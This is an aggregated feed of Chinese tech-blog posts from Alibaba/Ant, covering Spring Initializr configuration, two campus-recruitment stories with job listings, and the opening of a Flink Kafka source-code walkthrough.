        initializr-web/src/main/resources/META-INF/spring.factories:

        org.springframework.boot.autoconfigure.EnableAutoConfiguration=
        io.spring.initializr.web.autoconfigure.InitializrAutoConfiguration
        org.springframework.boot.env.EnvironmentPostProcessor=
        io.spring.initializr.web.autoconfigure.CloudfoundryEnvironmentPostProcessor

        initializr-actuator/src/main/resources/META-INF/spring.factories:

        org.springframework.boot.autoconfigure.EnableAutoConfiguration=
        io.spring.initializr.actuate.autoconfigure.InitializrActuatorEndpointsAutoConfiguration,
        io.spring.initializr.actuate.autoconfigure.InitializrStatsAutoConfiguration

        start-site/src/main/resources/META-INF/spring.factories:

        io.spring.initializr.generator.project.ProjectGenerationConfiguration=
        io.spring.start.site.extension.build.gradle.GradleProjectGenerationConfiguration,
        io.spring.start.site.extension.build.maven.MavenProjectGenerationConfiguration,
        io.spring.start.site.extension.dependency.DependencyProjectGenerationConfiguration,
        io.spring.start.site.extension.dependency.springamqp.SpringAmqpProjectGenerationConfiguration,
        io.spring.start.site.extension.dependency.springboot.SpringBootProjectGenerationConfiguration,
        io.spring.start.site.extension.dependency.springcloud.SpringCloudProjectGenerationConfiguration,
        io.spring.start.site.extension.dependency.springdata.SpringDataProjectGenerationConfiguration,
        io.spring.start.site.extension.dependency.springintegration.SpringIntegrationProjectGenerationConfiguration,
        io.spring.start.site.extension.dependency.springrestdocs.SpringRestDocsProjectGenerationConfiguration,
        io.spring.start.site.extension.description.DescriptionProjectGenerationConfiguration,
        io.spring.start.site.extension.code.kotin.KotlinProjectGenerationConfiguration

        作者信息
        陈曦(花名:良名)阿里巴巴技术专家。目前在应用容器&服务框架团队,Spring Cloud Alibaba 项目成员,致力于将阿里云打造为Java开发者最好用的云。2014 年加入 B2B,多次参与 双11、618 作战。

        3 群直播海报.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”
        /

        ]]>
        这么有趣的设计师小姐姐是怎么进入支付宝的? Fri, 02 May 2025 09:39:04 +0800

        就现在!蚂蚁「校招季」重磅来袭!除了介绍蚂蚁的技术大咖,我们还邀请了一些通过校招来到蚂蚁的过来人分享他们的通关经验和心得,这里随时可能有行业技术大咖和你的直系学长学姐出没哦~ 「校招季」栏目会持续输出有关“蚂蚁校招”的丰富内容,敬请期待!

        大家好,我是俞亦慧,算上在蚂蚁的实习期,到今天也快满两年了。

        来阿里其实是我大一专业分流时就定下的目标,当时只是单纯的觉得目标要定得高一点,万一实现不了,也不至于太差。而阿里在互联网人心目中,应该就是理想一般的存在,所以并没有过多思考,我就先把我的目标定在了阿里。

        我的目标:向蚂蚁冲鸭!

        我是在大三准备实习的时候开始投递简历的,一开始当然没有通过,但是对于没有实习经历,且是一个大三学生的我来说,能够象征性的接到一个来自阿里的面试电话,就已经非常开心了。印象特别深刻是第一个面试电话快要挂断的时候,面试官告诉我这次面试没有通过,同时也鼓励我让我继续加油,并且切实的告诉我哪些地方需要改进,特别的平易近人,让我更加坚定了要去阿里的决心。

        第一次的失败让我了解到,其实在众多的面试者中,我存在着太多的问题。本科学历不算高/ 无实习经历 / 作品集不够丰富不够多元 / 面试还会紧张到磕巴,问题实在是非常多,但是毕竟目标定在那儿,到大四也还有充足的时间继续尝试,于是在接下来的一年里,我一边做毕设,一边找离学校近而且还不错的公司实习,每天完成毕设任务和公司需求后,再花一小时时间,把作品集的作品重新整理排版优化。

        对于设计师来说,面试的第一块敲门砖一定是作品集。

        因为应届生经验不足,实际落地的项目相对少,作品集一定是越多元越好,越有创意点越好。动效、视频、平面、UI …… 只要会的,都可以拿出来晒。但多元并不代表追求数量,在作品集的制作过程中,应该追求质,不追求量。只保留自己满意的作品,最优秀的作品放在最前面。另外一个重要的点就是创意,学生最大的优势,其实就在于初生牛犊不怕虎,敢想。所以作品中应该体现出多样的想法,可以不切实际也没关系。还有一个小小的建议,就是作品集尽量不要出现临摹作品,如果真的要作为练习放进去,就要写清楚临摹,这也是非常关键的一点。

        在设计团队中,设计师们都非常崇尚自由平等的氛围,也没有什么架子,尤其是当你通过了第一关的作品集筛选后,基本上你的能力已经得到了认可,面试过程中,只要保持平常心,不要过分紧张,听清楚问的问题是什么,然后说出自己的想法就可以了。如果有不明白的,不要害怕发问,适当的问面试官一些问题,不但可以让自己更了解这个部门的工作,也可以让面试官看到你的积极性。

        一般情况下,除了作品集和面试以外不会有额外的考验,但是由于我实在是缺乏经验,作品集也做得不够好(亲身经历告诉你一定要好好做作品集~),在一轮面试后,面试官给我出了一道小小的考题,让我完成设计方案。在我自己心里有数我做的作品集不够看的情况下,我花了非常多的时间投入到这个考题里,甚至在两天时间内,还做了一次问卷调研。如果有这种额外考验,说明你可能已经是个幸运儿了,一定要抓住机会,卯足劲头把这个设计做好。不过额外的收获就是,我在后面的面试过程中,有机会来到办公区,提前看到了未来的同事们(当时就感觉希望应该还蛮大的吧)。

        事实上,我的运气是真的还不错。记得接到offer电话的时候,是在一个芦苇丛旁边,我正跟着我们班主任在阿里西溪园区参观,当时别提多开心了,虽然等电话的过程比较紧张,感觉时间特别漫长,但好在最后心愿成真了。

        在蚂蚁,认真生活快乐工作

        入职后最大的感受,就是同事们都很厉害,我的日常是每天被各路大佬按在地上摩擦,感受到自己的渺小和无能。起初对体验技术部的了解就仅限于to B,做中后台产品的部门,但觉得设计到哪里都是一样的做。但是真正入职后发现,对于实习期一直在做to C的电商业务的我来说,to B其实也是不小的挑战。从设计风格,到产品属性,都和我之前的经验完全不一样,一开始真的常常四处碰壁,好在蚂蚁有师兄文化,大家都乐于把自己会的东西教给别人,从同事身上让我学到了很多。在蚂蚁的时光里,虽然也有过焦虑,也有过烦躁,也有过特别累,觉得坚持不下去的时候,但是只要坚持下去了再回头看,就会看到自己的进步和成长。

        在我看来,艺术来源于生活。对于设计师来说,除了认真工作,快乐生活也很重要。闲暇周末,我会约着朋友看看展览,或是拿着相机拍摄美好瞬间,又或是在家弹弹吉他,放松放松平日紧绷的神经。感受生活的美好,才能更好激发自己的灵感,更爱自己的工作。

        其实设计师是一个挺直观的职业,因为视觉很直观,你看到什么就是什么,没有任何虚假。所以设计师更看重作品,像学历这些并没有什么特别的门槛,比如说你必须得985还是211,或者必须是几大美院出来的之类,最重要的还是你的作品做得好不好,做得足够好就可以进来。

        我现在在的部门是蚂蚁金服CTO 线核心的中台团队-体验技术部,也是西湖区(日耳又)优秀的前端技术、企业级设计团队!没错,就是那个传说中的大神与网红云集,200+ 人员规模,有着强大的技术基石与设计灵魂,致力于「打造全球领先的体验科技」,为社区贡献了 Ant Design、AntV、UmiJS、Egg、Dva 等工具库,打造了十万阿里人都在用的新一代 Office 语雀,广受追捧的设计生产利器 Kitchen 、海兔以及下一代前端研发工具云凤蝶等众多产品的体验技术部!

        简而言之,我们已经准备好了免费实习卡,2021 届毕业的同学们,你们还不快到碗里来?我在这里等你哦~~

        加入我们

        1. 职位方向:体验设计师/创意设计师(3D 动效、影视、平面)

        > 岗位描述

        天上星亮晶晶,工专路上放光明。作为设计师,我们是一群有爱有梦想,脑洞大开,集技术与艺术于一身的超级靓仔。想体验一把闪闪发光吗?想成为未来现象级产品的缔造者吗?

        来这里,Ant Design 的组件等你来画,海兔的资产由你来拼,栩栩如生的数据请你画龙点睛,蚂蚁金服中台产品以及数据大屏都期待你的来临。免费体验卡已经准备就绪,就等你了!

        > 岗位要求

        • 同时具备交互和视觉方面的设计能力(用作品说话);
        • 具有良好的艺术修养,有扎实的设计基础,对设计趋势有敏锐感受;
        • 熟练掌握 PS、AE、AI、PR、Sketch 等设计软件;
        • 积极主动,善于沟通,有良好的团队合作能力,能很好的阐述视觉观点和设计价值;

        > 加分项

        • 有 WEB / 移动产品设计经验,有中后台设计经验者优先;
        • 视觉设计方面具备手绘、品牌、GUI、3D、动效,影视等相关特殊能力;
        • 具备体系化的思维,已有相关设计规范和方法论总结; 
        • 拥有良好的英文读写能力和国际视野,有阅读国外先进作品和文献的能力;

        2. 职位方向:前端工程师

        > 岗位描述

        在体验技术部,你将和一众大神、网红橙黄绿蓝靛紫等专业同事并肩作战,背靠完备和强大的技术平台,参与蚂蚁金服中台产品建设,参与开发维护 Ant Design,AntV,UmiJS,Egg 等等知名开源产品,追求极致产品与研发体验。

        > 岗位要求

        • 编程基础扎实,熟练掌握 JavaScript、HTML、CSS等前端基础技术;
        • 熟悉计算机与网络,了解数据结构与算法;
        • 熟悉模块化、前端编译与构建工具,了解 React、Vue 等主流前端框架,能理解其设计原理;
        • 关注新事物、新技术,有较强的学习能力,喜欢挑战;

        > 加分项

        • 同时具备 PC/无线 端开发能力,有成功的中大型 Web 产品或移动应用开发经验;
        • 有参与前端开源项目开发,或有优秀的个人项目;
        • 有服务端开发经验(微服务、Serverless、PaaS 等,熟悉 Node、Java、Go 等语言);
        • 了解可视化知识,熟悉SVG、Canvas、WebGL,使用过D3、G2、ECharts 等类库;

        3. 职位方向:图形/图像算法岗位

        > 岗位描述

        我们专注于利用图形图像技术创造饱含艺术想象力的交互式数字艺术作品,创造大型数字孪生城市和数字指挥中心,希望你对图形与艺术充满热情,有扎实的代码能力与图形相关技术,能利用算法提高艺术展示和交互体验。你将会负责超高分辨率实时渲染、高效城市建模以及数字驾驶舱场景中人机交互方案等关键技术的探索与研究,期待你的加入!

        > 岗位要求

        • 本科及以上学历,计算机 / 数字媒体专业或数学专业者优先;
        • 熟悉至少一门编程语言(如 C++),图形学 / 机器学习相关专业或主修过相关课程优先;
        • 积极乐观,认真负责,有良好的团队沟通协作能力;
        • 有主动学习的能力,对创新及解决具有挑战性的问题充满激情;

        > 加分项

        • 熟悉 OpenGL 或者 DirectX 者优先;
        • 熟悉深度学习框架(如 TensorFlow、PyTorch)者优先;
        • 有主流3D引擎(如 Unity、Unreal )使用经验者优先;
        • 发表过高质量的顶级会议、期刊(SIGGRAPH、TVCG、 ICCV、CVPR 等)论文者优先;

        > 简历投递方式

        方法一:获取内推资格。千方百计找到你在蚂蚁的师兄师姐!果断把自己安利给TA,交流最适合自己的岗位,去到最想去的面试团队!收到师兄内推链接后,确认并完善简历,进入招聘流程。

        方法二:自主投递简历

        • 投递邮箱:afx-talent@cloud.alipay.com
        • 邮件标题命名:实习 - 岗位 - 学校 - 名字
        • 简历附件(若有)命名:实习 - 岗位 - 学校 - 名字
        ]]>
        校招面经 | 一位90后少年面试支付宝后的“肺腑之言” Fri, 02 May 2025 09:39:04 +0800

        就现在!蚂蚁「校招季」重磅来袭!除了介绍蚂蚁的技术大咖,我们还邀请了一些通过校招来到蚂蚁的过来人分享他们的通关经验和心得,这里随时可能有行业技术大咖和你的直系学长学姐出没哦~ 「校招季」栏目会持续输出有关“蚂蚁校招”的丰富内容,敬请期待!

        即将或正在饱受校招面试折磨的学弟学妹们好,我是来自蚂蚁金服CTO线研发效能部的开发工程师李煜超。从惴惴不安准备春招至今也已过去两年,现在的我也想作为过来人为你们的春招尽一份力。

        先不提我平淡的经历和不足下酒的心路历程,这里我先为你们奉上你们最关心的面经宝典。由于我并没有作为面试官的经验,因此特地采访了颇有面试经验的师兄,结合自身感受整理如下几条。

        简历

        相信在校招季开始之前,优秀的你们已经网罗各种简历模板,并整理出了n稿漂亮的简历。其实,简历的要求是尽量做到简洁、清晰,那么一份只能容纳寥寥数字的简历,该如何包含你们横溢的才华呢?

        首先要知道,简历的主体是项目经历。作为在校大学生,面试官并不会要求你们有多庞大或多辉煌的项目经验(当然有更好!),他们关心的是,经过项目塑造起来的你们是否是部门所需要的——即所罗列的项目与部门工作是否相关,以及你们在这些项目中所展现出来的自我学习能力。

        这也就说明你们在筛选项目经历时也应当有所选择,侧重于展现你拥有部门想要的技能,侧重于你在项目实践过程中使用的技术手段以及这种手段带来的效果,如果你在学校要求之外开发了一定规模的项目,或是项目存在一定影响力,那是最吼滴。

        同时,在编写简历时请务必做到实事求是。阿里是一家十分注重价值观的公司,而诚信一直是涵盖在价值观中的重要内容。简历上最明显的体现便是对自己技能精通程度用词的描述上,请谨慎使用过于强烈的用词(如精通)。

        简单来说,简历是递给面试官的个人门面,是面试官对你们所提问题的指引,也是你们进行面试准备时的导航。

        准备

        通常春招的时候,大多数同学已经提前搜集一些或是前人留下,或是勤奋的同学整理的面经资料和面试题集锦。那么面试经验尚不多的同学可能会问,背这些有用吗?

        就我个人感觉来说,是有用的。五六年的大学课程,难免会有遗漏,面经作为对学习内容的提炼是很好的助记手段。但也不可过于依赖,这里以Java后端开发为例分几种情况介绍。

        1.基础的知识如JVM、数据结构、数据库等

        这是你们手上每份资料中大部分都会涵盖的内容,也是你们在校招过程中会被提问无数次的知识,仅靠背诵面经是不足以对付面试的。在准备过程中你们需要时刻问自己是否真的熟悉,做到知其然,知其所以然。有不确定的地方提出来,看看以前上课的ppt,或是查资料进行系统复习。如果准备时间较为充分,推荐将相关权威书籍再好好阅读一遍。

        值得一提的是,蚂蚁的SOFA/SOFABoot是基于Spring框架自研的金融级分布式中间件。因此,若项目经历中有涉及Spring使用的,也务必要作为重点进行准备,除了是面试的常问问题,他也有助于你们顺利通过面试后,能够尽早投入实际工作中。

        2.简历中涉及的项目相关知识

        很多同学在进行面试资料整理的时候,会把自己面试过程中被提过的问题也归纳进去——通常是项目相关的技术,或者再抽象出一系列复习点。这对他/她来说是很有好处的,但在其他人手上可能就成了“干扰项”。

        在你们复习面经资料的过程中,如果碰到类似这种问题,应该进行合理安排,没必要投入过多精力——指疲于准备面试的情况下,若时间富裕,则多学无害。你们也可以请教整理的同学,这些问题是面试官在什么场景下提出来的,或者说是怎么引导出这个问题的,如此有利于你们学会揣度面试官的心思,并根据自己项目中提到的技术进行发散思考。

        上一趴提到,简历是面试准备时的导航。其项目中涉及的技术更是重中之重,对于这些技术,在做到知其所以然之后,最好连其祖宗所以然都知道。准备期间也可以借助脑图进行整理,梳理相关知识进行学习。

        比如项目中涉及了Spring技术栈,那么对于IOC和AOP的原理势必要掌握的。既然提到IOC,那么说一下IOC的好处是什么,你还需要知道有哪些相关的软件设计原则,Spring中的几种注入方式,和Spring的注解作用等等,那么顺便的,注解中的@Autowired和@Resource你可以说说有什么区别吗?提到AOP,几个基本概念,几种通知方法,可以用于开发什么功能等都可以进行复习。

        3.工具相关知识

        如git、mvn使用、命令行使用,甚至idea/eclipse快捷键使用,在专业知识和项目准备充分之余也可以进行复习。

        除了知识的总结学习,算法题和项目回顾也是面试的重点。

        对于项目本身需要把脉络理清,对于整个项目、以及项目的每个模块,做到用精简的语言让面试官能够明白。回顾项目时,理清楚项目的难点和成果。面对多种方案时是如何考虑的,碰到难题时是怎么解决的。

        算法题就是多刷多做多归纳。

        面试

        蚂蚁的面试通常是有3-4轮技术面,还有一轮HR面,各轮面试的问题视面试官风格而定,但有以下几种能力或者说是特质,是面试官希望能够在你们身上看到的。

        一个是基础能力。面试官对于在校生通常不会有太高的技术水平要求,但会很希望看到你们有扎实的功底。万丈高楼平地起,只要发现你们是有潜力的原石,蚂蚁就有信心把你们雕塑出龙章凤姿。

        一个是自我学习能力。面试官会乐于看到你们勇于发现问题,全力解决问题,用新方法、新思路来创造变化,带来突破性的结果。

        最为重要的,是需要再一次强调的诚信。对于自己没做过的,不知道的,没有必要隐瞒或伪装。如果想凭经验进行临场发挥,也请先勇敢承认。面试不是毕业答辩,没有必要唯唯诺诺或含糊其辞,面试官其实也是在找自己往后工作中的战友。可以有不同的见解,面试官不会喜欢弄虚作假的伙伴,但会欣赏一个承认短板,能够灵活应变找到答案的人。综合素质和非专业水平的亮点也是面试官考量的因素。

        在进入蚂蚁后你会发现,这些其实都是成为一个阿里人的潜质,是阿里寻找同路人的方向。

        以我自身的面试经历来看,我的整个面试流程经历了三轮技术面和一轮HR面。

        第一轮面试的主要内容是基础知识和在线算法题。事后与同学交流发现算法题难度不尽相同。作为过来人回头看,除了最终结果,面试官还会看中你们的解题思路和编程习惯(说人话:把代码写好看点,推荐看《重构》和《代码整洁之道》)。

        可能由于写的项目经历和部门业务较为相关,第二三轮技术面基本围绕项目展开,依稀记得第三轮面试的时候,我就和面试官就我做过的项目方向有不同意见,产生了讨论,当时一度觉得自己可能与蚂蚁无缘了。

        最后的HR面其实更像一个互相了解的过程,HR会问你关于工作的看法(包括base地、方向等)或是考量你价值观的小问题(并不确定是不是),当然你也可以提出你对工作或部门的疑问。

        个人经历

        说完干货,接下来便是“水货”。

        我本硕就读于南京某500本大学——南哪大学的软件学院。学校不是真的500本,但我的成绩大概差不多是500本的水平,因此在学习经验上并不能给你们很好的建议。

        我们学院的部分课程工程氛围颇为浓厚(至少本科是),头几年常常会被数不尽的文档淹没,其中大作业ddl是比期末考更令人疲惫和在意的事。因此我的本科生活也及其简单,没事就泡球馆,大作业卖力做,考试要求不挂科(排名分先后),就这样,波澜不惊地来到了研究生阶段和春招季,开始了和蚂蚁的邂逅。记得当时同一实验室的师兄已经在蚂蚁实习,恰好我们正在做的课题与部门工作有一定联系,便推荐我内推。作为一个刚出新手村的菜鸟,为了抓住摆在眼前进入心怡大厂的机会,我特地问他,能不能晚些进行面试,让我先多刷刷怪涨涨经验。师兄善解人意,通情达理,我接的第二个面试电话就是蚂蚁的。

        好在最后还是有惊惊惊惊惊无险地拿到了offer,你们看,我的经历就是这么朴实无华且枯燥。

        回过头来看过去几年,如果可以,还是想给年轻的自己几点建议,也希望能给或是还处在美好的大学生活中,或是在焦急准备面试,或是刚刚拿到offer的你们一点帮助:

        1.所有的专业课程,都好好上

        并不是说非专业课程就能荒废,只是对于专业课程有更深的体会。在入职后,当事人表示非常后悔。

        曾经有诸多课程摆在我面前,我没有珍惜,老师在台上声情并茂的介绍,我在台下不屑地想着:“这东西我以后工作能用到?能用到我把这课本吃下去。”。现在追悔莫及,作为研发效能部的开发工程师,我一次一次地切身体会到学校课程安排诚不欺我,只能在空闲时间重新捡起来,为年轻的自己买单。

        2.课余时间多了解一些专业前沿知识

        入职后,你会有机会与同届毕业生接触、合作,会发现总是有那么些闪闪发光的人,永远有自己的想法,永远走在前方。多了解一些前沿知识,能帮助你们培养专业素养,保持前瞻意识。

        3.认真取花名!

        对于顺利拿到阿里offer的同学,首先恭喜你们,其次作为阿里的一个文化,希望你在取花名前能认真考虑,不要重蹈我的覆辙!我的花名是黎荍(qiáo),取花名时误以为花名一定要古风,一通瞎琢磨后取了这么个我查词典前都不认识字的花名。

        4.认真思考就业方向

        除了hc,在投简历的时候你们需要好好问问自己,自己梦想什么岗位,是算法还是开发,是做业务还是做平台,对于所投部门与自己的研究方向是否匹配,还在踌躇的小朋友,也可以借着实习的机会切身感受一下实际工作与想象是否一致。

        那么,有没有一个部门,岗位选择多,实习生活丰富多彩,工作内容与学校所学课程高度match呢?

        当!然!有!啦!

        蚂蚁金服CTO线研发效能部门面向全体2020校招实习毕业生开启春招啦!不管你是前端后端,Java,C++,Android还是iOS,是研发还是数据、算法,只要你有技术激情,勇于挑战,我们,欢迎你的到来!

        加入我们

        JAVA/ C++研发工程师

        1. 计算机,数学,统计学, 运筹学或相关专业应届毕业生;

        2. 良好的计算机专业基础,熟练掌握数据结构、算法、操作系统等基础知识;

        3. 优秀的编程能力,熟练使用C/C++或者Java编程语言;

        4. 良好的团队协作能力,有技术激情,能够胜任有挑战的工作;

        5. 有分布式系统或者其它底层系统研发经验优先。

        数据/算法工程师

        1. 有分布式系统或者其它底层系统研发经验优先。

        2. 计算机、数学、统计等相关专业应届毕业生,机器学习、深度学习、NLP等泛人工智能领域研究方向的硕士、博士优先;良好的计算机专业基础,熟练掌握数据结构、算法、程序设计等基础知识;

        3. 熟练掌握SQL、R、Python以及相关进行大规模分析的工具和Hadoop/Spark/Cosmos/ODPS等大数据分布式平台,熟悉大规模分布式机器学习框架(Spark MLLib,MPI,ParameterServer等)、深度学习开源工具(Caffe,Theano,Torch,Ten-sorFlow,MXNet,CNTK等),Coding能力较强,有Java语言编程经验优先;

        4. 良好的团队协作能力,有技术激情,能够胜任有挑战的工作;

        5. 在顶级机器学习、信息安全和AI领域会议和期刊有文章发表的优先考虑(比如NIPS、ICML、ICLR、AAAI、IJCAI、KDD、SIGIR、CCS、WWW、JMLR等)。

        Android/iOS研发工程师

        1. 计算机、数学、统计、通信等相关专业应届毕业生。

        2. 良好的计算机专业基础,熟练掌握数据结构、算法、操作系统等基础知识;

        3. 熟悉iOS/Android平台原理机制,具备iOS或Android客户端应用实际开发经验;

        4. 有一定软件架构设计能力,熟悉常见的异步,同步,多线程,跨进程,组件,容器的设计方法;

        5. 具备创新业务技术攻关和落地能力者优先(不限于算法,生物识别,图形图像,3D建模,AR,多媒体等领域)

        前端研发工程师

        • 职位要求

        1. 编程基础扎实, 熟练掌握JavaScript、HTML、CSS等前端基础技术;

        2. 熟悉计算机与网络,了解数据结构与算法;

        3. 熟悉模块化、前端编译与构建工具,了解React、Vue等主流前端框架,能理解其设计原理;

        4. 关注新事物、新技术,有较强的学习能力,喜欢挑战;

        • 加分项

        1. 同时具备PC/无线端开发能力,有成功的中大型Web产品或移动应用开发经验;

        2. 有参与前端开源项目开发,或有优秀的个人项目;

        3. 有服务端开发经验(微服务、Serverless、PaaS等, 熟悉Node、Java、Go等语言) ;

        4. 了解可视化知识, 熟悉SVG、Canvas、WebGL, 使用过D3、G2、ECharts等类库。

        程序分析技术工程师

        • 职位描述

        1. 搭建及维护程序静态分析基础框架,基础引擎;

        2. 设计实现及维护分析器程序语言特性建模系统,属性描述系统等系统;

        3. 设计实现扩展及维护程序分析结果查询语言;

        4. 研发及维护基础程序分析算法例如指针分析,数值分析等;

        5. 研发各程序语言代码漏洞检查器,支持检查标准如CWE,CERT,OWASP等;

        6. 研发及维护约束求解,打分,修复点计算等周边算法。

        • 职位要求

        1. 计算机或相关专业全日制本科或以上学历;

        2. 熟悉程序语言的基础理论及概念;

        3. 扎实的算法及计算理论基础(如图灵机模型);

        4. 较强的总结能力,系统化思维及能力以及抽象思维的能力;

        5. 较强的学习能力,可以很快上手并理解一门新的程序语言;

        6. 熟练掌握Java/C/C++语言,能编写稳定,高效,可靠的代码。

        • 加分项

        1. 有从事过程序语言方面理论研究,有研究生以上学历者优先;

        2. 有从事编译器/程序分析器/程序漏洞检查器开发经验;

        3. 熟悉编译器中间代码格式以及程序分析相关概念,比如控制流等;

        4. 有静态程序分析工具使用经验和程序漏洞挖掘经验;

        5. 熟悉LLVM中间代码。

        简历投递

        邮箱:AntLinkE@antfin.com

        ]]>
        Flink kafka source & sink 源码解析 Fri, 02 May 2025 09:39:04 +0800

        摘要:本文基于 Flink 1.9.0 和 Kafka 2.3 版本,对 Flink Kafka source 和 sink 端的源码进行解析,主要内容分为以下两部分:

        1.Flink-kafka-source 源码解析

        • 流程概述
        • 非 checkpoint 模式 offset 的提交
        • checkpoint 模式下 offset 的提交
        • 指定 offset 消费

        2.Flink-kafka-sink 源码解析

        • 初始化
        • Task运行
        • 小结

        1.Flink-kafka-source 源码解析

        流程概述

        一般在 Flink 中创建 kafka source 的代码如下:

        StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
        //KafkaEventSchema为自定义的数据字段解析类
        env.addSource(new FlinkKafkaConsumer<>("foo", new KafkaEventSchema(), properties)

        而 Kafka 的 KafkaConsumer API 中消费某个 topic 使用的是 poll 方法如下:

        KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);
        consumer.poll(Duration.ofMillis(100));

        下面将分析这两个流程是如何衔接起来的。

        初始化

        初始化执行 env.addSource 的时候会创建 StreamSource 对象,即 final StreamSource sourceOperator = new StreamSource<>(function);这里的function 就是传入的 FlinkKafkaConsumer 对象,StreamSource 构造函数中将这个对象传给父类 AbstractUdfStreamOperator 的 userFunction 变量,源码如下:

        ■ StreamSource.java

        public StreamSource(SRC sourceFunction) {
            super(sourceFunction);
            this.chainingStrategy = ChainingStrategy.HEAD;
        }

        ■ AbstractUdfStreamOperator.java

        public AbstractUdfStreamOperator(F userFunction) {
           this.userFunction = requireNonNull(userFunction);
           checkUdfCheckpointingPreconditions();
        }

        Task运行

        task 启动后会调用到 SourceStreamTask 中的 performDefaultAction() 方法,这里面会启动一个线程 sourceThread.start();,部分源码如下:

        private final LegacySourceFunctionThread sourceThread;
        
        @Override
        protected void performDefaultAction(ActionContext context) throws Exception {
            sourceThread.start();
        }

        在 LegacySourceFunctionThread 的 run 方法中,通过调用 headOperator.run 方法,最终调用了 StreamSource 中的 run 方法,部分源码如下:

        public void run(final Object lockingObject,
                        final StreamStatusMaintainer streamStatusMaintainer,
                        final Output<StreamRecord<OUT>> collector,
                        final OperatorChain<?, ?> operatorChain) throws Exception {
        
          //省略部分代码
          this.ctx = StreamSourceContexts.getSourceContext(
            timeCharacteristic,
            getProcessingTimeService(),
            lockingObject,
            streamStatusMaintainer,
            collector,
            watermarkInterval,
            -1);
        
          try {
            userFunction.run(ctx);
            //省略部分代码
          } finally {
            // make sure that the context is closed in any case
            ctx.close();
            if (latencyEmitter != null) {
              latencyEmitter.close();
            }
          }
        }

        这里最重要的就是 userFunction.run(ctx);,这个 userFunction 就是在上面初始化的时候传入的 FlinkKafkaConsumer 对象,也就是说这里实际调用了 FlinkKafkaConsumer 中的 run 方法,而具体的方法实现在其父类 FlinkKafkaConsumerBase中,至此,进入了真正的 kafka 消费阶段。

        Kafka消费阶段

        在 FlinkKafkaConsumerBase#run 中创建了一个 KafkaFetcher 对象,并最终调用了 kafkaFetcher.runFetchLoop(),这个方法的代码片段如下:

        /** The thread that runs the actual KafkaConsumer and hand the record batches to this fetcher. */
        private final KafkaConsumerThread consumerThread;
        
        @Override
        public void runFetchLoop() throws Exception {
          try {
            final Handover handover = this.handover;
        
            // kick off the actual Kafka consumer
            consumerThread.start();
            
            //省略部分代码
        }

        可以看到实际启动了一个 KafkaConsumerThread 线程。进入到 KafkaConsumerThread#run 中,下面只是列出了这个方法的部分源码,完整代码请参考 KafkaConsumerThread.java。

        @Override
        public void run() {
          // early exit check
          if (!running) {
            return;
          }
          // This method initializes the KafkaConsumer and guarantees it is torn down properly.
          // This is important, because the consumer has multi-threading issues,
          // including concurrent 'close()' calls.
          try {
            this.consumer = getConsumer(kafkaProperties);
          } catch (Throwable t) {
            handover.reportError(t);
            return;
          }
          try {
        
            // main fetch loop
            while (running) {
              try {
                if (records == null) {
                  try {
                    records = consumer.poll(pollTimeout);
                  } catch (WakeupException we) {
                    continue;
                  }
                }
              }
              // end main fetch loop
            }
          } catch (Throwable t) {
            handover.reportError(t);
          } finally {
            handover.close();
            try {
              consumer.close();
            } catch (Throwable t) {
              log.warn("Error while closing Kafka consumer", t);
            }
          }
        }

        至此,终于走到了真正从 kafka 拿数据的代码,即 records = consumer.poll(pollTimeout);。因为 KafkaConsumer 不是线程安全的,所以每个线程都需要生成独立的 KafkaConsumer 对象,即 this.consumer = getConsumer(kafkaProperties);。

        KafkaConsumer<byte[], byte[]> getConsumer(Properties kafkaProperties) {
          return new KafkaConsumer<>(kafkaProperties);
        }

        小结:本节只是介绍了 Flink 消费 kafka 数据的关键流程,下面会更详细的介绍在AT_LEAST_ONCE和EXACTLY_ONCE 不同场景下 FlinkKafkaConsumer 管理 offset 的流程。

        非 checkpoint 模式 offset 的提交

        消费 kafka topic 最为重要的部分就是对 offset 的管理,对于 kafka 提交 offset 的机制,可以参考 kafka 官方网。

        而在 flink kafka source 中 offset 的提交模式有3种:

        public enum OffsetCommitMode {
        
           /** Completely disable offset committing. */
           DISABLED,
        
           /** Commit offsets back to Kafka only when checkpoints are completed. */
           ON_CHECKPOINTS,
        
           /** Commit offsets periodically back to Kafka, using the auto commit functionality of internal Kafka clients. */
           KAFKA_PERIODIC;
        }

        初始化 offsetCommitMode

        在 FlinkKafkaConsumerBase#open 方法中初始化 offsetCommitMode:

        // determine the offset commit mode
        this.offsetCommitMode = OffsetCommitModes.fromConfiguration(
                        getIsAutoCommitEnabled(),
                        enableCommitOnCheckpoints,
                ((StreamingRuntimeContext)getRuntimeContext()).isCheckpointingEnabled());
        • 方法 getIsAutoCommitEnabled() 的实现如下:
        protected boolean getIsAutoCommitEnabled() {
           return getBoolean(properties, ConsumerConfig.ENABLE_AUTO_COMMIT_CONFIG, true) &&
              PropertiesUtil.getLong(properties, ConsumerConfig.AUTO_COMMIT_INTERVAL_MS_CONFIG, 5000) > 0;
        }
        • 也就是说只有 enable.auto.commit=true 并且 auto.commit.interval.ms>0 这个方法才会返回 true
        • 变量 enableCommitOnCheckpoints 默认是 true,可以调用 setCommitOffsetsOnCheckpoints 改变这个值
        • 当代码中调用了 env.enableCheckpointing 方法,isCheckpointingEnabled 才会返回 true

        通过下面的代码返回真正的提交模式:

        /**
         * Determine the offset commit mode using several configuration values.
         *
         * @param enableAutoCommit whether or not auto committing is enabled in the provided Kafka properties.
         * @param enableCommitOnCheckpoint whether or not committing on checkpoints is enabled.
         * @param enableCheckpointing whether or not checkpoint is enabled for the consumer.
         *
         * @return the offset commit mode to use, based on the configuration values.
         */
        public static OffsetCommitMode fromConfiguration(
              boolean enableAutoCommit,
              boolean enableCommitOnCheckpoint,
              boolean enableCheckpointing) {
        
           if (enableCheckpointing) {
              // if checkpointing is enabled, the mode depends only on whether committing on checkpoints is enabled
              return (enableCommitOnCheckpoint) ? OffsetCommitMode.ON_CHECKPOINTS : OffsetCommitMode.DISABLED;
           } else {
              // else, the mode depends only on whether auto committing is enabled in the provided Kafka properties
              return (enableAutoCommit) ? OffsetCommitMode.KAFKA_PERIODIC : OffsetCommitMode.DISABLED;
           }
        }

        暂时不考虑 checkpoint 的场景,所以只考虑 (enableAutoCommit) ? OffsetCommitMode.KAFKA_PERIODIC : OffsetCommitMode.DISABLED;。

        也就是如果客户端设置了 enable.auto.commit=true 那么就是 KAFKA_PERIODIC,否则就是 KAFKA_DISABLED。

